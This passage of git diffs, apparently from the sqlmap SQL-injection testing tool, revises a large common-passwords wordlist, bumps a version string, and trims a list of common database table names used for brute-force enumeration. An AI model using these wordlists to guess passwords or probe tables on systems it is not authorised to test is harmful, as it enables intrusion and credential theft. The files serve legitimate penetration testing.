+ryousuke s123456 -sabbath -sabina +s4l4s4n4 +saabas +saatana +saatana1 sabine +sabotage sabres sabrina -sabrina1 +sacramento +sacrifice sadie sadie1 -safari -safety -safety1 -sahara +sagitario +sagittarius +sahabat +saibaba saigon -sailboat +sailfish sailing sailor +sailormoon saint saints sairam saiyan +sakalas +sakamoto sakura +sakurasaku +sakusaku sal -salami +saladus +salainen +salama +salamandra salasana +salasana123 salasona saleen -salem sales +salinger sally -sally1 salmon salomon salope @@ -7690,223 +8169,241 @@ salou25 salut salvador salvation -sam -sam123 samantha samantha1 sambo samiam -samIam -samm +samko +sammakko sammie sammy -Sammy sammy1 +sammy123 samoht sample -sampleatm +SAMPLE +Sample123 sampson samsam samson samsung samsung1 +samsung123 samuel samuel22 +samuli samurai sanane +sanane123 +sananelan sanchez -sancho sand +sandeep sander -sanders +sandhya sandi -sandie -sandiego sandman +sandoval sandra -sandrine -sandro +sandrock +sandstorm sandwich sandy -sandy1 -sanford sanfran -sang -sanity +sanguine +sanjay sanjose +sanpedro santa -santafe santana santiago santos -santoysena -sap -saphire -sapper +santosh +santtu +sanyika +saopaulo +SAP +sap123 sapphire -sapr3 -sara sarah sarah1 -saratoga +sarasara sarita -sasasa sascha sasha -sasha1 -saskia +sasha123 +sasquatch sassy sassy1 sasuke -satan satan666 +satelite +satellite +satisfaction satori +satriani saturday saturn -Saturn saturn5 -sauron +saulite +saulute +saulyte +saunders sausage -sausages savage savanna savannah -savior sawyer saxon +saxophone sayang -sbdc -scamper -scania -scanner -scarecrow +sayangkamu +sayonara scarface scarlet scarlett schalke -schatz +schatzi +schedule scheisse scheme -schmidt +schiller schnapps +schneider +schnitzel school school1 +schooner +schroeder +schule +schumacher +schuster +schwartz science +scirocco scissors +scofield scooby scooby1 scoobydo scoobydoo scooter scooter1 +scooters score scorpio scorpio1 scorpion +scorpions scotch scotland scott scott1 scottie +scottish scotty scout -scouts -scrabble +scouting +scramble +scranton scrapper scrappy -scratch scream screamer screen screw screwy -script +scribble scrooge scruffy -scuba scuba1 scully -sdos_icsap seabee seadoo seagate seagull seahawks -seamus -sean +seahorse searay search -season +searcher +searching +seashell +seashore seattle -sebastia sebastian +sebastian1 sebring -secdemo second secret secret1 +secret123 secret3 +secret666 secrets secure security -sedona -seeker -seeking +SECURITY +seduction seinfeld select +selector selena selina -seminole +seminoles semper semperfi -senator senators seneca seng -senha +senha123 senior +seniseviyorum senna +senorita +sensation sensei +sensitive sensor -sentinel +SENTINEL seoul septembe september septiembre +sequence +serdar serega serena +serenade +serendipity serenity -sergeant sergei sergey sergio series -serpent +serkan servando server service -Service -serviceconsumer1 services -sesame +sessions sestosant +settlers +setup seven seven7 sevens +seventeen sex sex123 sex4me -sex69 -sexgod sexman sexo sexsex -sexsexsex sexual sexx sexxx sexxxx -sexxxy sexxy sexy sexy1 @@ -7914,248 +8411,225 @@ sexy12 sexy123 sexy69 sexybabe +sexybitch sexyboy sexygirl sexylady +sexymama sexyman -sexysexy -seymour +sexyme sf49ers sh shadow -Shadow shadow1 shadow12 -shadows -shag shaggy -shai +shakespeare shakira +shalimar shalom -shaman shampoo shamrock -shamus shan shane -shang -shanghai shania -shanna shannon shannon1 -shanny shanti -shao shaolin -sharc share shark -sharks -sharky +sharma sharon -sharp -shasta -shauna +sharpshooter +shasha shaved -shawn -shawna -shayne -shazam shearer -sheba -sheba1 sheeba sheena sheep -sheepdog sheffield -shei sheila +shekinah shelby sheldon -shell -shelley shelly shelter -shelves shemale shen sheng -shepherd -sheridan +sherbert sheriff sherlock sherman -sherri sherry -sherwood +shevchenko +shi123456 shibby -shiloh +shilpa shiner +shinichi shinobi ship +shipping shirley +shirley1 shit shitface shithead +shitshit shitty -shiva shivers shock shocker +shocking shodan -shoes -shogun -shojou -shonuf -shooter -shopper +shoelace shopping short +shortcake +shortcut shorty shorty1 +shoshana shotgun -shou +shotokan +shoulder shovel show -shower +showboat +showcase showme showtime +shredder shrimp -shuai shuang -shui shun -shuo -shuttle +shuriken +shutdown shutup shyshy -sick -sidekick -Sidekick +sideshow +sideways sidney siemens sierra Sierra sifra sifre +siga14 sigma sigmachi +signa signal -signature -si_informtn_schema +sigrun +siilike +sikais silence -silent -silly +silencio +silicone +silmaril silver silver1 -silverad +silverado +silverfish silvia -simba -simba1 simmons simon -simon1 simona simone +simonka +simonko simple +simpleplan simpson simpsons +simran sims -simsim -sinatra +simulator sinbad -sinclair +sindre +sindri sinegra +sinfonia singapor singer single sinister sinned sinner -siobhan -sirius sisma sissy sister sister12 sisters +sitakott +sitapea site -siteminder -sites -sithlord +sitecom sixers sixpack -sixsix +sixpence sixty -sixty9 skate +skateboard +skateboarding skater skater1 skeeter -Skeeter +skeleton skibum skidoo -skiing skillet skinhead -skinner skinny -skip +skipjack skipper -skipper1 skippy skittles -skull -skunk -skydive +skuggi +skydiver skyhawk skylar -skylark -skyler skyline -skywalke skywalker slacker -slamdunk slammer slapper slappy slapshot slaptazodis slater +slaughter slave -slave1 slayer -slayer1 -sleep sleeper +sleeping sleepy slick slick1 -slidepw slider -slim -slimshad -slinky -slip +slideshow +slimshady slipknot slipknot1 slipknot666 -slippery +slniecko sloppy -slowhand -slugger +slovenia +slowpoke sluggo slut sluts slutty -smackdow +sma +smackdown small -smart +smallville smart1 -smashing +smartass +smartbox +smcadmin smeghead smegma smelly @@ -8163,154 +8637,151 @@ smile smile1 smiles smiley -smirnoff smith +smithers smiths smitty smoke -smoke1 +smoke420 smoker -smokes smokey -Smokey smokey1 -smokie -smokin smoking smooch smooth smoothie smother smudge -smurfy -smut -snake -snake1 -snakes -snapon +smuggler +snakebite +snakeeater snapper snapple -snappy +snapshot snatch sneakers sneaky -snicker snickers -sniffing +snickers1 sniper -snooker snoop snoopdog +snoopdogg snoopy -Snoopy snoopy1 -snow +snotra snowball snowbird snowboar -snowboard snowfall snowflak snowflake +snowhite snowman +snowman1 +snowshoe snowski -snuffy +snowwhite +snuffles snuggles soap sober1 +sobriety soccer soccer1 soccer10 +soccer11 soccer12 +soccer13 soccer2 +soccer22 socrates -softail +sofia softball +softball1 software -solaris -soldier +Sojdlg123aljg +sokrates +soldiers soledad soleil +solitaire solitude +solla solo solomon -solution +solstice +solutions +sombrero some somebody -someday someone -somerset somethin something -sommer -sonata +sometime +somewhere +sommar sondra song -sonia -sonic +songbird sonics -sonny -sonoma sonrisa sony +sony1 sonya -sonyfuck -sonysony +sonyvaio sooner -sooners sophia sophie -soprano -sossina +sorensen soto soul soulmate -sound -south -southern -southpar southpark -southpaw +southside southside1 +southwest +souvenir +sovereign sowhat soyhermosa space spaceman +spagetti +spaghetti spain -spam -spanish -spank +spalding spanker spanking spankme spanky spanner +sparhawk sparkle sparkles -sparks sparky Sparky sparky1 -sparrow sparrows sparta -spartan spartan1 -spartans -spawn +spartan117 spazz speaker speakers -spears special +special1 +specialist specialk +spectral spectre spectrum -speed +speeding speedo -speedway +speedster speedy -Speedy +speles +spelling spence spencer spencer1 @@ -8324,259 +8795,217 @@ spiderma spiderman spiderman1 spidey -spierson spike spike1 -spiker spikes spikey -spinner -spiral spirit +spiritual spit spitfire splash -spliff -splinter spock spoiled -sponge spongebo spongebob spongebob1 spooge spooky spoon -spoons -sport sporting sports -sporty -spot -spotty -spread +spotlight spring -springer springs -sprint -sprinter +sprinkle sprite -sprocket -sprout spud spunky spurs -spurs1 -sputnik spyder sql sqlexec -squall square squash -squeak -squeeze -squires +squeaker squirrel squirt srinivas -ssp +sriram sss ssss -sssss ssssss sssssss ssssssss +ssssssssss stacey staci -stacie stacy -stafford -stalin +stainless +stairway +stalingrad stalker -stallion +stamford +stampede stan standard -stanford -stang stanley +stanley1 staples star star69 starbuck -starcraf +starbucks +starchild starcraft stardust -starfire starfish stargate -starligh +stargazer +starless starlight -starman +starling starr stars +starshine starship -starstar start start1 starter startfinding +starting startrek starwars starwars1 state -static -station -status Status stayout stealth -steel +steaua steele -steeler steelers steelers1 +steelman stefan +stefania stefanie -stefano -steffen -steffi +stefanos +stelios stella stellar steph steph1 -stephan -stephane stephani stephanie stephanie1 stephen -stephen1 +stephens stephi stereo sterling -Sterling +sternchen steve -steve1 steven -Steven steven1 stevens -stevie stewart stick stickman -sticks sticky -stiffy +stiletto stimpy -sting sting1 -stinger stingray stinker stinky -stivers +stitches stock -stocking -stocks +stockman stockton +stoffer stolen stone -stone1 -stonecol stonecold -stoned +stonehenge +stoneman stoner stones -stoney -stop -storage -store stories storm -storm1 -stormy straight strange stranger -strangle -strap strat -stratford -strato -strat_passwd +strategy stratus strawber strawberry stream +streamer streaming street streets -strength -stress -stretch strider strike -striker +strikers string -strip stripper -stroke stroker -strong +stronger +stronghold +struggle +strummer +struzhka stryker stuart stubby -stud student +student1 student2 -studio -studly +students +studioworks studman -stuff -stumpy stunner +stuntman stupid stupid1 -stuttgart +sturgeon style styles -stylus -suan -subaru sublime +submarine submit -suburban -subway +subwoofer subzero success -success1 -suck -suckdick +successful +succubus +sucesso sucked sucker suckers sucking suckit suckme +suckmydick sucks sudoku sue -sugar -sugar1 +sugarplum +suicidal suicide +suitcase +sukses sullivan -sultan summer -Summer +summer00 +summer01 +summer05 summer1 -summer69 -summer99 +summer12 summers summit -sumuinen -sun +summoner sunbird sundance sunday @@ -8584,218 +9013,239 @@ sundevil sunfire sunflowe sunflower -sunlight -sunny -sunny1 +sunflowers +sunita +suniukas +sunna +sunny123 +sunnyboy sunnyday sunrise sunset sunshine -Sunshine sunshine1 +suomi super -super1 super123 -superb -superfly +superbowl +superboy +supercool +superdog +superduper +supergirl +superhero superior superman -Superman superman1 -supernov +supermand +supermen +supernova +superpass +superpower supersecret -supersta +supersonic superstage superstar superuser supervisor support -supported supra -supreme +surabaya +surecom surf +surfboard surfer surfing +surprise +surrender +surround +survival survivor -susan -susan1 susana -susanna -susanne sushi susie -sutton +suslik suzanne -suzie suzuki suzy -Sverige +sveinn +sverige svetlana -swallow swanson -swearer sweden -swedish sweet sweet1 +sweet123 +sweet16 +sweetest sweetheart sweetie +sweetiepie sweetnes sweetness sweetpea sweets +sweetwater sweety swim -swimmer swimming -swinger swingers swinging -switch switzer swoosh -Swoosh sword swordfis swordfish -swords -swpro -swuser -sybil sydney -sylveste +sylvania sylvester sylvia -sylvie +sylwia symbol symmetry sympa +symphony +syndrome synergy -synthimatiko syracuse sys sysadm -sysadmin -sysman syspass -sys_stnt system system5 -systempass -systems syzygy -tab -tabasco +szabolcs +szerelem +szeretlek +sziszi tabatha -tabitha taco tacobell tacoma +tactical taffy -tahiti -taiwan -talbot -talisman +tagged +tajmahal +takahiro +takanori +takataka +takayuki +takedown +takoyaki +talented talks +tallinn +tallulah talon tamara tami -tamie -tammy tamtam -tang -tangerine -tango -tank +tania tanker tanner tantra -tanya tanya1 -tapani -tape +tanzania +tapestry +tappancs +tappara tara +tarantino +taratara tardis targas target target123 tarheel -tarheels tarpon tarragon tartar tarzan -tasha tasha1 -tata +tassen tatiana tattoo taurus -Taurus taxman taylor -Taylor taylor1 +taytay tazdevil tazman tazmania tbird t-bone -tbone -tdos_icsap teacher +teacher1 +teaching team +teamo +teamomucho +teamwork +teardrop tech +technical technics techno +techsupport tectec teddy -teddy1 teddybea teddybear -teen teenage +teenager teens teflon +teiubesc +tekiero tekila tekken Telechargement telecom telefon +telefonas telefono -telephon +telefoon +telemark telephone +televizija +telos +telus00 temp temp! temp123 tempest templar -temple +template temporal temporary temppass temptation temptemp -tenchi tender tenerife teng tennesse +tennessee tennis -Tennis +tennyson tequiero +tequieromucho tequila -terefon +tere123 teresa +teretere terminal terminat terminator -terra +terminus terrapin terrell +terriers +terrific terror -terry -terry1 +terrorist +terserah test test! test1 @@ -8804,256 +9254,254 @@ test123 test1234 test2 test3 +testament +teste123 tester testi +testicle testing -testing1 testpass testpilot testtest test_user tetsuo texas -texas1 +thaddeus +thai123 thailand -thanatos -thanks thankyou the -theater -theatre +thebeach thebear +thebeast thebest -theboss +thebest1 thecat thecrow thecure -thedog thedon thedoors thedude -theend theforce thegame -thegreat their thejudge thekid theking thelma -thelorax theman +thematrix +themis +theodora theodore -theone there theresa -Theresa therock -therock1 these thesims thethe -thewho -thierry +thething +thetruth +thiago thing -thinsamplepw +thinking +thinkpad thirteen this thisisit thomas -Thomas +thomas01 thomas1 +thomas123 thompson thong thongs -thor -thorne -thrasher -three -threesom +thornton +thousand +threesome +thriller throat thuglife -thumb thumbs thumper thunder -Thunder thunder1 -thunderb -thunderbird +thunderbolt +thunders thursday +thurston thx1138 tian -tiao tibco -tiberius tiburon ticket tickle +ticktock tierno +tietokone tiffany tiffany1 tiger tiger1 tiger123 -tiger2 -tigercat +tigereye +tigerman tigers -tigers1 +tigerwoods tigger -Tigger tigger1 -tigger2 +tigger12 tight tightend tights tigre +tigris +tiiger tika -tim -timber +tikitiki +timberlake time +timelord +timely timeout -timmy timosha timosha123 timothy timtim -tina -ting tinker tinkerbe tinkerbell tinkle tinman tintin -tiny -tip37 -tipper -titan +Tiny +tiramisu +tissemand titanic titanium -titans titimaman -titleist +titkos titouf59 tits titten -titts titty tivoli +tmnet123 tnt -toast -toaster tobias toby today -todd toejam -toffee together toggle toilet +tokiohotel tokyo -toledo -tolkien -tom -tomahawk -tomas +tomas123 +tomasko tomato +tombstone tomcat -tommie +tomek1 +tomika +tomislav1 +tommaso tommy -tommy1 -tommyboy -tomorrow +tommy123 +tomohiro +tomotomo tomtom +tomukas tong -tongue tonight tony -toocool -tool +tonytony toolbox -toolman +toomas toon -toonarmy -tootie +toor +toothpaste +toothpick tootsie topcat topdog topgun tophat -topher -topography -topper +topnotch +topolino +topsecret +torcida +toreador toriamos torino +tormentor tornado +tornado1 toronto +toronto1 torpedo +torrance +torrents torres +tortilla tortoise toshiba -tosser total -toto +toti toto1 tototo -tottenha tottenham toucan +touchdown touching tower -towers town +townsend toxic +toxicity toyota trace tracer -tracey traci -tracie track tracker tractor tracy trader traffic -trailer trails train trainer -training -trains +trampoline trance -tranny -trans -transam +tranquil transfer +transform +transformer +transformers transit -transport -trapper trash +trashcan +trashman trauma travel traveler +traveller travis tre -treasure treble -trebor tree treefrog trees treetop -trek +treetree +trespass trevor trial -triangle -tribal +triathlon +tribunal tricia -tricky -trident +trickster trigger trinidad trinitro @@ -9061,11 +9509,14 @@ trinity trip triple tripleh +triplets tripod tripper +tripping trish trisha tristan +tristan1 triton triumph trivial @@ -9075,62 +9526,57 @@ trojans troll trombone trooper +troopers trophy -tropical trouble -trouble1 trout troy truck -trucker -trucking -trucks truelove -truman +truffles +trujillo trumpet trunks -trust +trunte trustme trustno1 +trustnoone truth -tsdev +tryagain tsunami -tsuser tttttt -tttttttt -tty tuan -tubas tucker tucson tudelft tuesday -Tuesday tula -tulips tuna tunafish tundra tunnussana +tuomas tupac +tuppence turbine turbo -turbo1 turbo2 turkey turner turnip +turquoise turtle -tuscl +tutor tuttle tweety tweety1 +tweetybird twelve twenty -twiggy twilight twinkie twinkle +twinkles twins twisted twister @@ -9139,48 +9585,59 @@ tybnoq tycoon tyler tyler1 +typewriter typhoon tyrone tyson tyson1 +U38fa39 +uboot ultima ultimate ultra -um_admin +ultrasound umbrella -um_client umesh umpire +unbreakable undead underdog -undertak +understand undertaker +undertow +underwater underworld +unforgiven unhappy unicorn unicornio +unicorns unique united unity -universa universal universe universidad university unix unknown +unleashed +unlocked unreal +untitled +untouchable +uploader upsilon uptown upyours -uranus +uQA9Ebw445 urchin ursula usa123 -usarmy user user0 user1 +user1234 user2 user3 user4 @@ -9188,228 +9645,219 @@ user5 user6 user7 user8 -user9 +user888 username usmarine usmc -usnavy Usuckballz1 -util utility -utlestat utopia -uucp -uuuuuu +uuuuuuuu vacation -vader -vader1 +vaffanculo vagabond vagina val +valami +valdemar valencia valentin valentina valentinchoque valentine valeria +valerian valerie valeverga valhalla -valkyrie -valley +validate +valtteri vampire +vampire1 vampires -vancouve +vanderbilt +vanesa vanessa vanessa1 -vanguard vanhalen vanilla +vanquish +variable vasant -vauxhall -vea +vasara +vaseline vector -vectra vedder +vedran vegas vegeta -vegitto -veh +vegetable velo velocity -velvet -venice +vengeance +venkat venom ventura -venture venus +vera55 veracruz verbatim +vergessen veritas verizon -vermont -vernon -Vernon +vermilion verona veronica veronika -versace -vertex_login -vertigo +veronique +vertical +verygood vette vfhbyf vfrcbv vh5150 viagra -vicki vickie -vicky victor -victor1 victoria -Victoria victoria1 victory video -videouser -vienna vietnam viewsoni -vif_dev_pwd +vijaya viking vikings vikings1 -vikram -villa -village +viktor +viktoria +viktorija vincent -Vincent -vincent1 +vineyard +vinicius +vinkovci vinnie -vintage +violator +violence violet +violetta +violette violin viper -viper1 vipergts vipers -virago -virgil +virgilio virgin virginia -virginie virtual virus -viruser +VIRUSER visa +viscount +vishal vision +vision2 visitor +visitors +visor visual +vittoria +vittorio vivian +viviana +vivien +vivienne +vkontakte vladimir -vodka +VOizGwrC volcano volcom +volimte volkswag volley volleyba +volleyball +voltaire volume +volunteer volvo voodoo -vortex voyager -voyager1 voyeur -vrr1 -vrr2 +VQsaBLPzLa vsegda vulcan vvvv -vvvvvv -wachtwoord -wachtwurd +vvvvvvvv waffle -wagner -wagwoord waiting +wakefield walden -waldo walker wallace wall.e -wallet -walleye -wally -walmart -walnut walrus walter -walton -wanderer +wanderlust wang +wangyut2 wanker -wanking wanted warcraft wareagle +warehouse warez wargames warhamme +warhammer warlock -warlord -warner warning +warranty warren warrior warrior1 warriors -warthog +warszawa wasabi -washburn -washingt washington wasser wassup wasted +watanabe watch -watcher +watchdog +watching +watchman +watchmen water -water1 -waterboy -waterloo -Waterloo +water123 +waterfall +waterman +watermelon +waterpolo waters -watford watson wayne -wayne1 -wealth -wearing weasel weather weaver web -webber webcal01 -webdb +weblogic webmaste webmaster -webread webster -Webster wedding wedge -weed +wednesday weed420 -weekend weenie weezer -weiner -weird welcome welcome1 welcome123 welder +wellington wendi wendy wendy1 @@ -9417,19 +9865,19 @@ weng werder werdna werewolf -werner wert +wertwert +wertz123 wesley -west +westcoast western -westham +westgate +westlife weston westside -westwood +westwind wetpussy -wetter -wfadmin -wg8e3wjf +wg wh whale1 what @@ -9439,128 +9887,107 @@ whatnot whatsup whatthe whatwhat -wheels whiplash -whiskers whiskey whisky whisper -whistler whit white -white1 whiteboy +whiteman whiteout -whitesox -whitey whiting whitney +whittier whocares +whoknows wholesale -whore -whoville whynot -wibble +wichmann wicked -widget +wickedwitch +widzew wiesenhof wifey -wilbur +wiktoria wild wildbill -wildcard wildcat wildcats -wilder wildfire +wildflower +wildlife wildman wildone -wildwood +wildrose will william william1 williams -williamsburg willie willis willow Willow -willy -wilma wilson -win95 wind -windmill window windows -Windows -windsor +windows1 +windowsxp windsurf +windward winger -wingman wingnut wings winner winner1 -winners winnie Winnie -winniethepooh +winnipeg winona winston -winston1 winter -winter1 -wip -wireless +winthrop wisconsin wisdom wiseguy wishbone -wives +witchcraft wizard wizard1 wizards -wkadmin -wkproxy -wksys -wk_test -wkuser -wms -wmsys woaini -wob +woaini1314 +wojtek wolf wolf1 -wolf359 wolfen wolfgang +wolfhound wolfie -wolfman wolfpac wolfpack wolverin wolverine -Wolverine +wolverines wolves woman wombat -wombat1 women wonder -wonderboy +wonderful wood +woodbury +woodchuck woodie woodland -Woodrow +woodlawn +woodruff +woodside woodstoc woodwind woody -woody1 woofer -woofwoof -woohoo -wookie woowoo word wordpass @@ -9570,13 +9997,11 @@ work123 working workout world -World -wormwood +wormhole worship worthy wow12345 wowwow -wps wraith wrangler wrench @@ -9584,51 +10009,30 @@ wrestle wrestler wrestlin wrestling -wright wrinkle1 writer writing wsh -wsm -wutang www -wwwuser wwww wwwwww wwwwwww wwwwwwww -wxcvbn -wyoming -xademo xanadu -xander xanth xavier xbox360 +xceladmin xcountry -xdp -xerxes -xfer x-files -xfiles -xian xiang xiao ximena ximenita xing xiong -xla -x-men -xmodem -xnc -xni -xnm -xnp -xns -xprt +XRGfmSx xtr -xtreme xuan xxx xxx123 @@ -9637,37 +10041,41 @@ xxxxx xxxxxx xxxxxxx xxxxxxxx +xxxxxxxxxx xyz -xyz123 xyzzy y -yaco +YAgjecc826 +yahoo +yahoo123 yamaha yamahar1 -yamato +yamamoto yang yankee yankees yankees1 yankees2 +yardbird yasmin +yasuhiro yaya yeah -yeahbaby yellow yellow1 -yellowstone +yellow12 yes yeshua yessir +yesterday yesyes yfnfif ying -yoda -yogibear +yingyang yolanda yomama yong +yorktown yosemite yoteamo youbye123 @@ -9675,92 +10083,88 @@ young young1 yourmom yourmom1 -your_pass -yousuck +yourname +yourself yoyo yoyoma yoyoyo ysrmma +YtQ9bkR ytrewq yuan +yuantuo2012 +yukiyuki yukon yummy -yumyum -yvette yvonne +yxcvbnm yyyy -yyyyyy yyyyyyyy yzerman z123456 +z1x2c3v4 +za123456 +zacefron zachary zachary1 -zack +zadzad zag12wsx +zagreb +zalgiris zander zang zanzibar -zap -zapata zapato zaphod -zappa -zapper -zaq123 zaq12wsx -zaq1xsw2 -zaqwsx +zaq1zaq1 zaqxsw +zaragoza zebra zebras zeng zenith -zephyr zeppelin zepplin -zero zerocool +zerozero zeus -zhai zhang zhao -zhei zheng zhong zhongguo zhou -zhuai zhuang -zhui -zhun zhuo zidane ziggy -zigzag zildjian -zimmerman +zimbabwe +zing +ziomek zipper zippo -zippy zirtaeb zk.: zmodem -zodiac +zolika zoltan zombie zong zoomer zoosk -zorro -zouzou -zuan +zuikis +zuzana +ZVjmHgC355 zwerg zxc zxc123 +zxcasdqwe zxccxz zxcv +zxcv1234 zxcvb -Zxcvb zxcvbn zxcvbnm Zxcvbnm @@ -9769,10 +10173,8 @@ zxcvbnm123 zxcxz zxczxc zxzxzx -zzz zzzxxx -zzzz zzzzz zzzzzz -zzzzzzz zzzzzzzz +zzzzzzzzzz diff --git a/lib/core/settings.py b/lib/core/settings.py index f7a02d7ad2e..04d0a212cfc 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.26" +VERSION = "1.9.12.27" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 0a6b5fb747ec59bfcd45b6b8b1fc26e9af37d2ce Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Dec 2025 22:52:53 +0100 Subject: [PATCH 268/853] Minor improvement of common-tables --- data/txt/common-tables.txt | 557 +++++++------------------------------ data/txt/sha256sums.txt | 4 +- lib/core/settings.py | 2 +- 3 files changed, 111 insertions(+), 452 deletions(-) diff --git a/data/txt/common-tables.txt b/data/txt/common-tables.txt index 0f2baa69b83..821e3f8bdfb 100644 --- a/data/txt/common-tables.txt +++ b/data/txt/common-tables.txt @@ -218,32 +218,23 @@ delivery_quality queries identification friends -vcd_Screenshots PERSON course_section -vcd_PornCategories -pma_history jiveRemoteServerConf channels object chip_layout -osc_products_options_values_to_products_options login user_newtalk -vcd_MetaDataTypes entrants Device imageInfo developers -div_experiment items_template defaults osc_products -vcd_MetaData mucRoomProp -QRTZ_JOB_DETAILS settings -pma_bookmark DEPENDENT imageCategoryList islandIn @@ -254,7 +245,6 @@ wp_posts package mucRoom vendortax -vcd_Comments attrs config_seq company @@ -262,18 +252,13 @@ register checksum_results ENROLLMENT operation -primarytest -vcd_CoverTypes binaries COURSE_SECTION Students func enrollment -pma_table_coords readers action_element -vcd_VcdToPornstars -osc_categories_description friend_statuses Domain servers @@ -284,33 +269,26 @@ resources mixins sys_options_cats licenses -pma_relation SIGNON clients Apply -vcd_CoversAllowedOnMediatypes ThumbnailKeyword form_definition_text -vcd_Log system jiveOffline tickers BANNERDATA mucAffiliation -fk_test_has_pk rooms objectcache collection_item_count -div_stock_parent jiveRoster Volume lookup investigator math jivePrivate -vcd_UserWishList osc_manufacturers_info -primarytest2 PROFILE categories_posts Flight @@ -322,64 +300,44 @@ client cv_country_synonyms osc_categories interwiki -logtest archive members_networks -vcd_MovieCategories language_text UserType friend -div_annotation_type osc_products_description osc_products_to_categories -QRTZ_PAUSED_TRIGGER_GRPS article recentchanges -vcd_UserLoans media -vcd_SourceSites conducts sales CurrentUsers Country -vcd_IMDB -vcd_Borrowers querycache Publication Pilot -div_stock Regions DEPT_LOCATIONS -vcd_Users master_table -vcd_VcdToUsers funny_jokes jos_vm_payment_method -vcd_UserProperties osc_products_images specialty -pma_pdf_pages visits -div_allele_assay -vcd_MediaTypes ipblocks WidgetPrices -form_definition_version_text experiment Publisher control protocol_action jivePrivacyList -vcd_VcdToPornStudios subImageInfo plugin_sid message_statuses state GalleryThumb hitcounter -vcd_Pornstars -QRTZ_BLOB_TRIGGERS -div_generation jiveGroupProp ingredients community_item_count @@ -387,13 +345,9 @@ jiveExtComponentConf SEQUENCE Continent rights -div_statistic_type Path osc_manufacturers logging -colnametests -QRTZ_FIRED_TRIGGERS -div_locality sailors Description warehouse @@ -406,36 +360,26 @@ CUSTOMERS jiveProperty app_user keyboards -div_unit_of_measure categorylinks grants Action -div_trait -div_trait_uom WidgetReferences product_type developers_projects userAttribute -vcd_Sessions form_data_archive -vcd_PornStudios action_attribute Thumbnail jiveGroupUser computers -QRTZ_LOCKS -vcd_PropertiesToUser customertax sector networks columns_priv globals -div_obs_unit_sample Widgets TERM salgrade -div_passport -vcd_UserRoles mucMember imagelinks exchange @@ -443,18 +387,14 @@ Status WORKS_ON lines testusers -booleantests -QRTZ_SIMPLE_TRIGGERS mobile_menu staff -vcd_VcdToPornCategories tblusers hashes partner Product personnel ads -vcd_Covers osc_specials Keyword supplier @@ -462,61 +402,45 @@ agent_specialty pokes profile_pictures oldimage -div_poly_type -osc_products_attributes_download -div_allele isMember -vcd_Images userImageRating detail_table osc_products_attributes -pma_table_info officer -div_obs_unit -vcd_Settings COURSE Time locatedOn medicalprocedure -fk_test_has_fk mergesWith author UserFieldsInfo Employee oe -QRTZ_TRIGGERS insurance SUPPLIER -div_aa_annotation song imageAttribute views_track extremes -vcd_VcdToSources jiveRosterGroups webcal_config phpbb_ranks triggers_template appVersions -vcd_RssFeeds DUMMY ROLE activity study_text osc_products_options City -QRTZ_SCHEDULER_STATE osc_reviews edge questions partof blobs -QRTZ_CRON_TRIGGERS tag userSession vcd -pma_column_info -auto_id_tests job site_stats mucConversationLog @@ -524,16 +448,12 @@ sequence madewith OperationStatus SPJ -turizmi_ge zutat_cocktail -DWE_Internal_WF_Attributes zipcodes insertids ChemList product_category -foreigntest2 hero -cmContentVersionDigitalAsset reports devel_logsql f_sequence @@ -542,7 +462,6 @@ ClassificationScheme ez_webstats_conf credential utilise -cmDigitalAsset ACL_table service_request_log feedback @@ -569,29 +488,21 @@ dtb_order files_config PropColumnMap result -pma_designer_coords triggers audittrail -f_attributedependencies -organization_type_package_map -DWE_Corr_Sets userlist backgroundJob_table sf_guard_user_permission my_lake -DWE_Corr_Tokens sampleData -qrtz_blob_triggers reciprocal_partnersites rss_categories ADMIN -site_map_ge Factory_Output geo_Estuary phpbb_themes forum ClientsTable -mushroom_trainset rating_track iplinks maxcodevento @@ -602,7 +513,6 @@ cmLanguage phpbb_points_config guava_sysmodules querycachetwo -soc_da_polit_ge BOOK_AUTHORS records reciprocal_config @@ -631,7 +541,6 @@ expression Simple_Response photoo photos -child_config_traffic_selector version_data allocation dtb_category_total_count @@ -647,7 +556,6 @@ webcal_view pagecontent Collection maxcodcurso -self_government_ge phpbb_user_group InstanceStringTable bldg_types @@ -656,10 +564,8 @@ mailaddresses section m_type configlist -cmRepositoryContentTypeDefinition trade Parameter -jforum_privmsgs tbl_works_categories help_category bkp_String @@ -674,11 +580,9 @@ vendor_seq guava_theme_modules dtb_pagelayout bookings -cmPublicationDetail writes writer distance -DWE_Resource_Attributes jforum_groups Polynomial river @@ -699,23 +603,14 @@ SchemaInfo WidgetDescriptions dtb_category_count sidebar -R1Weights -humanitaruli_ge -cmTransactionHistory facets jforum_roles -samedicino_ge -qrtz_job_listeners geo_Lake religion nuke_gallery_media_class cia DatabaseInfo -R2TF THOT_THEME -R1Length -cmContentRelation -S2ODTMAP enrolled liste_domaines DEMO_PROJECTS @@ -738,7 +633,6 @@ UM_ROLE_ATTRIBUTES SCALE maclinks books -DWE_Predecessors interactions graphs_items stars @@ -757,7 +651,6 @@ email CustomerCards mtb_zip Campus -R1Size hardware dtb_other_deliv pricegroup @@ -771,15 +664,10 @@ colour command audio egresado -aggtest transport -zusti_da_sabuneb_ge -div_scoring_tech_type -R2Weights schedule routers zips -DWE_Delay_Timers Descriptions software wh_der_children @@ -806,7 +694,6 @@ cmSiteNode nodes sbreciprocal_cats rss_read -DWE_Workflow_Documents bombing tblblogtrackbacks fragment @@ -823,7 +710,6 @@ dtb_kiyaku EmailAddress Sea powers -QRTZ_CALENDARS reserve LINEITEM project_user_xref @@ -835,7 +721,6 @@ user_rights tf_messages Class_Def_Table geo_lake -copytest tissue ligneDeFacture PZ_Data @@ -845,7 +730,6 @@ cmts photo dtb_bloc user_preferences -music_ge D_Abbreviation data_set_association site_location @@ -860,7 +744,6 @@ evidence files test intUsers -div_treatment tblblogentries cocktail_person cdv_curated_allele @@ -871,18 +754,15 @@ MetadataValue curso redirect accountuser -qrtz_cron_triggers StateType forum_user_stat Descriptions_Languages m_users_profile Booked_On -not_null_with_default_test tblblogroles organizations topic economy -DWE_Org_Resources Model maxcodcorreo RATING @@ -900,7 +780,6 @@ dtb_send_customer cart size pg_ts_cfgmap -LimitTest2 QUESTION DC_Data 